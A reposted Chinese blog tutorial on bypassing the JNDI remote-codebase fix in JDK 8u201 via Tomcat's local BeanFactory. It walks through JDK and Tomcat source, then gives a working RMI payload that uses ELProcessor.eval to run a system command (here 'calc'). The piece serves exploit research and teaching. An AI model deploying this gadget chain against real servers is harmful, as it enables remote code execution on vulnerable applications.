JNDI注入-高版本绕过

news2025/1/11 2:40:31

参考博客:

JNDI注入与动态类加载

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)

分析版本

jdk8u201

分析流程

修复

在ldap绕过中,我们讲了LDAP的修复,下面用jdk8u201具体来看下修复。

修复之前,利用是在LdapCtx.java中的return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);动态加载Reference。

跟进看在codeBase路径中查找类处,

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class<?> clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);   //本地查找类
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase); //根据codeBase查找类
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

跟进clas = helper.loadClass(factoryName, codebase);

public Class<?> loadClass(String className, String codebase)
        throws ClassNotFoundException, MalformedURLException {
    if ("true".equalsIgnoreCase(trustURLCodebase)) { //加入判断,trustURLCodebase为true,才加载类。这里默认false
        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
                URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    } else {
        return null;
    }
}

本地factory绕过

这里面就不用区分JNDI结合RMI还是LDAP了,通用的。下面拿JNDI+RMI进行分析

分析攻击点

上面讲到了RMI,CORBA,LDAP漏洞被修复了,漏洞出现在客户端拿到Reference后,通过Reference加载codeBase路径下的factory处。、

修复方法就是默认不允许加载远程factory。但是Reference是可以正常获取的。

我们就想能不能找到本地的可以被恶意利用的factory类。

利用链寻找

看下JNDI+RMI中,拿到Reference之后做什么

//NamingManager#getObjectInstance
public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception
{

    ObjectFactory factory;

    // Use builder if installed
    ObjectFactoryBuilder builder = getObjectFactoryBuilder();
    if (builder != null) {
        // builder must return non-null factory
        factory = builder.createObjectFactory(refInfo, environment);
        return factory.getObjectInstance(refInfo, name, nameCtx,
            environment);
    }

    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            factory = getObjectFactoryFromReference(ref, f);                  本地动态加载factory
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,         factory调用getObjectInstance方法
                                                 environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }

    // try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

加载了本地factory后,调用其getObjectInstance方法。

我们要找的利用类需要满足

  1. 实现ObjectFactory,因为getObjectFactoryFromReference(ref, f);存在ObjectFactory的强转。
  2. 在调用其getObjectInstance时,可以触发危险方法

最后找到的是tomcat中的BeanFactory

//BeanFactory#getObjectInstance
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {

    if (obj instanceof ResourceRef) {

        try {

            Reference ref = (Reference) obj;
            String beanClassName = ref.getClassName();
            Class<?> beanClass = null;
            ClassLoader tcl =
                Thread.currentThread().getContextClassLoader();
            if (tcl != null) {
                try {
                    beanClass = tcl.loadClass(beanClassName);
                } catch(ClassNotFoundException e) {
                }
            } else {
                try {
                    beanClass = Class.forName(beanClassName);
                } catch(ClassNotFoundException e) {
                    e.printStackTrace();
                }
            }
            if (beanClass == null) {
                throw new NamingException
                    ("Class not found: " + beanClassName);
            }

            BeanInfo bi = Introspector.getBeanInfo(beanClass);
            PropertyDescriptor[] pda = bi.getPropertyDescriptors();

            Object bean = beanClass.getConstructor().newInstance();    //获取构造函数,并实例化

            /* Look for properties with explicitly configured setter */
            RefAddr ra = ref.get("forceString");
            Map<String, Method> forced = new HashMap<>();
            String value;

            if (ra != null) {
                value = (String)ra.getContent();
                Class<?> paramTypes[] = new Class[1];
                paramTypes[0] = String.class;
                String setterName;
                int index;

                /* Items are given as comma separated list */
                for (String param: value.split(",")) {
                    param = param.trim();
                    /* A single item can either be of the form name=method
                     * or just a property name (and we will use a standard
                     * setter) */
                    index = param.indexOf('=');
                    if (index >= 0) {
                        setterName = param.substring(index + 1).trim();
                        param = param.substring(0, index).trim();
                    } else {
                        setterName = "set" +
                                     param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                                     param.substring(1);
                    }
                    try {
                        forced.put(param,
                                   beanClass.getMethod(setterName, paramTypes));
                    } catch (NoSuchMethodException|SecurityException ex) {
                        throw new NamingException
                            ("Forced String setter " + setterName +
                             " not found for property " + param);
                    }
                }
            }

            Enumeration<RefAddr> e = ref.getAll();

            while (e.hasMoreElements()) {

                ra = e.nextElement();
                String propName = ra.getType();

                if (propName.equals(Constants.FACTORY) ||
                    propName.equals("scope") || propName.equals("auth") ||
                    propName.equals("forceString") ||
                    propName.equals("singleton")) {
                    continue;
                }

                value = (String)ra.getContent();

                Object[] valueArray = new Object[1];

                /* Shortcut for properties with explicitly configured setter */
                Method method = forced.get(propName);
                if (method != null) {
                    valueArray[0] = value;
                    try {
                        method.invoke(bean, valueArray);                //反射调用bean的method方法
                    } 

payload

测试前先把tomcat依赖加上(我开始用的8.5.90,tomcat把这儿就已经修复了)

<dependencies>
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>8.5.71</version> <!-- Latest version as of writing -->
    </dependency>
    <dependency>
        <groupId>org.glassfish</groupId>
        <artifactId>javax.el</artifactId>
        <version>3.0.0</version>
    </dependency>
</dependencies>

根据上面分析写出payload

public class JNDIRMIServerBypass {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);

        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));

        initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
        BeanFactory
    }

image-20240730154148956

跟下攻击流程

下图是从拿到的Reference中获取factory(BeanFactory),之后调用BeanFactory的getObjectInstance方法。

image-20240730160802718

跟进BeanFactory#getObjectInstance

获取Reference的ClassName(javax.el.ELProcessor),并loadClass,得到ELProcessor类。

image-20240730161347584

调用ELProcessor的无参构造函数。

之后先把eval方法存到forced(hashMap)中,key为输入的x

image-20240730163056671

image-20240730162642405

之后获取propName为x,反射调用eval(通过x去forced中查找)

image-20240730162031667

这个方法需要Tomcat8环境的,现在java一般都是用Spring Boot框架开发,而Spring Boot内置了Tomcat,场景还是很多

其他利用方法

可以参考探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)的博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1959940.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

档案馆可视化管理系统

通过图扑可视化技术&#xff0c;实现档案馆内文件、资料的高效管理与实时监控&#xff0c;提升档案数据的查询、存档和维护效率。

【建议收藏】大数据Hadoop实战入门手册,配套B站视频教程1小时速通

大数据Hadoop入门实战专栏 大数据技术概述大数据简介Hadoop简介 大数据集群环境搭建环境搭建概述虚拟机准备集群搭建Java开发环境准备 分布式文件系统HDFS学习前期概述HDFS Shell命令HDFS可视化界面HDFS Java API编程环境初始化API基本使用创建目录更改目录权限上传文件查看目录…

docker pgsql实现pg_jieba全文检索

安装pg_jieba分词器 安装依赖工具 查看docker运行的所有容器 docker ps进入pg数据库容器 docker exec -it postgres4postgis bash安装必要的工具和依赖 apt-get install -y git build-essential cmake libpq-dev postgresql-server-dev-all安装pg_jieba分词 git clone ht…

Apache DolphinScheduler用户线上Meetup火热来袭!

Apache DolphinScheduler 社区 8 月用户交流会精彩继续&#xff01;本次活动邀请到老牌农牧产品实业集团铁骑力士架构工程师&#xff0c;来分享Apache DolphinScheduler在现代农牧食品加工场景中的应用实践。此外&#xff0c;还将有社区活跃贡献者以Apache DolphinScheduler为例…

为什么AI会一本正经地胡说八道

泛泛地说&#xff0c;AI一本正经地胡说八道的原因可以归结为&#xff1a;AI的理解能力受到其训练数据和算法的限制&#xff0c;如果问题表达不清晰或者背景信息不足&#xff0c;AI可能会产生错误的推理或输出&#xff1b;AI语言模型本质上是基于统计学习和模式匹配的&#xff0…

基于新型电力系统的有序充电解决方案

安科瑞 耿敏花 摘要&#xff1a;近年来,新能源汽车的销量快速增长,相应的充电桩数量也急剧增加,这一现象可能会给电网和变压器造成负担,与此同时&#xff0c;新型电力系统下以光伏为主的分布式发电系统占比也在逐渐提高&#xff0c;新能源的不稳定性叠加充电需求的不确定性会给…

MySQL基础练习题13-指定日期的产品价格

题目&#xff1a;找出在 2019-08-16 时全部产品的价格&#xff0c;假设所有产品在修改前的价格都是 10 。 准备数据 分析数据 题目&#xff1a;找出在 2019-08-16 时全部产品的价格&#xff0c;假设所有产品在修改前的价格都是 10 。 准备数据 ## 创建库 create tadabase d…

矩阵管理系统真的好用吗

在这个短视频盛行的时代&#xff0c;每个人都可能是下一个网红。但是&#xff0c;当你的账号遍布各大平台&#xff0c;每个平台都要求你不断更新内容时&#xff0c;你可能会问&#xff1a;有没有一种工具&#xff0c;可以让这一切变得更简单&#xff1f;这就是矩阵管理系统出现…

项目中AOP相关问题

答&#xff1a;AOP是面向切面编程&#xff0c;可以通过定义方法拦截器和切入点&#xff0c;实现将一些逻辑相同的代码块抽取到同一个模块中&#xff0c;这个模块就是切面。代码可以只关注业务实现&#xff0c;不用关注那些通用逻辑。 答&#xff1a;切面&#xff0c;通用模块&…

模型部署优化综述

一、引言 模型部署优化是一个涵盖众多环节的宽泛领域,从模型训练完成到实际硬件部署,涉及多个层面的工作,且每个环节对技术的要求各异。其本质是通过减小模型大小、提高推理速度等手段,使模型能在各种硬件中成功部署并实时有效运行。 二、模型剪枝技术 (一)模型剪枝的…

Oracle基础-集合

集合&#xff1a;两个结果集的字段个数和字段类型必须相同&#xff0c;才能使用集合操作。 --UNION 并集 重复行会去重 (SELECT A,B FROM DUAL UNION SELECT C,D FROM DUAL) UNION (SELECT A,B FROM DUAL UNION SELECT E,F FROM DUAL ); --UNION ALL 全集 包含所有记录 不去重…

学校会拒绝孤独症孩子吗?揭秘专业教育机构的关怀之心

在当今社会&#xff0c;孤独症孩子的教育问题备受关注。许多家长心中都存在着一个担忧&#xff1a;学校会拒绝孤独症孩子吗&#xff1f; 事实上&#xff0c;大多数专业的教育机构都怀揣着一颗关怀之心&#xff0c;不会轻易拒绝这些特殊的孩子。 专业的教育机构深知&#xff0c;…

畅捷通如何远程访问?

随时随地能够远程访问和操作畅捷通已经成为许多职场人士的迫切需求。作为一名有着亲身经历的使用者&#xff0c;今天我就来和大家分享一下实现畅捷通远程访问的绝佳方法。 曾几何时&#xff0c;为了能在外出时也能使用畅捷通办公&#xff0c;我可谓是绞尽脑汁。尝试过多种传统方…

trino开启https

作者&#xff1a;振鹭 一、生成https证书 &#xff08;所用到的openssl和keytool命令都是linux自带的&#xff09; 配置https证书&#xff1a; &#xff08;1&#xff09;创建目录 [hdfshadoop01 hadoop]# mkdir -p /data/ssl/ [hdfshadoop01 hadoop]# cd /data/ssl/&…

【全志H616开发】Linux守护进程

文章目录 守护进程简介基本特点创建一个守护进程通常涉及以下步骤&#xff1a;进程查看指令&#xff1a; 守护进程开发代码示例&#xff1a; 开机自动启动 守护进程 简介 Linux Daemon&#xff08;守护进程&#xff09;是运行在后台的一种特殊进程。它独立于控制终端并且周期性…

C语言斜向钥匙迷宫

目录 开头程序的流程图程序的效果结尾 开头 大家好&#xff0c;我叫这是我58。今天&#xff0c;我们来看一下我用C语言编译的斜向钥匙迷宫和与之相关的一些东西。 #define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> #include <Windows.h> void printmaze(co…

数据结构算法-排序(二)

插入排序 插入排序核心 假设数组中的一部数据已经排好序&#xff0c;要插入的数据和这些数据进行比较&#xff0c;直到找到合适的位置插入新数据。 插入排序步骤 插入排序主要有以下步骤构成&#xff1a; 假设有序&#xff0c;我们假设**a[0]**已经排好序待插入的数据为a[j]…

Windows蓝屏问题解决(电脑只要安装了VPN_SV独立客户端)必蓝屏

一、SERNEL_SECURITY_CHECK_FAILURE (139) 蓝屏分析 官方介绍蓝屏现象&#xff0c;官方Windows为了保护电脑&#xff0c;出现故障&#xff0c;自动蓝屏&#xff0c;避免损坏电脑的一种现象&#xff0c;别名buckcheck、蓝屏。 100%复现软件&#xff1a;天融信VPN&#xff0c;同事…

AI赋能交通治理:非机动车监测识别技术在城市街道安全管理中的应用

引言 城市交通的顺畅与安全是城市管理的重要组成部分。非机动车如自行车、电动车、摩托车等在城市交通中扮演着重要角色&#xff0c;但同时也带来了管理上的挑战。尤其是在机动车道上误入非机动车的现象&#xff0c;不仅影响交通秩序&#xff0c;还可能引发交通事故。思通数科…

C#插件 调用存储过程(输出参数类型)

存储过程 CREATE PROCEDURE [dbo].[GetSum]num1 INT,num2 INT,result INT OUTPUT AS BEGINselect result num1 num2 END C#代码 using Kingdee.BOS; using Kingdee.BOS.App.Data; using Kingdee.BOS.Core.Bill.PlugIn; using Kingdee.BOS.Util; using System; using System.…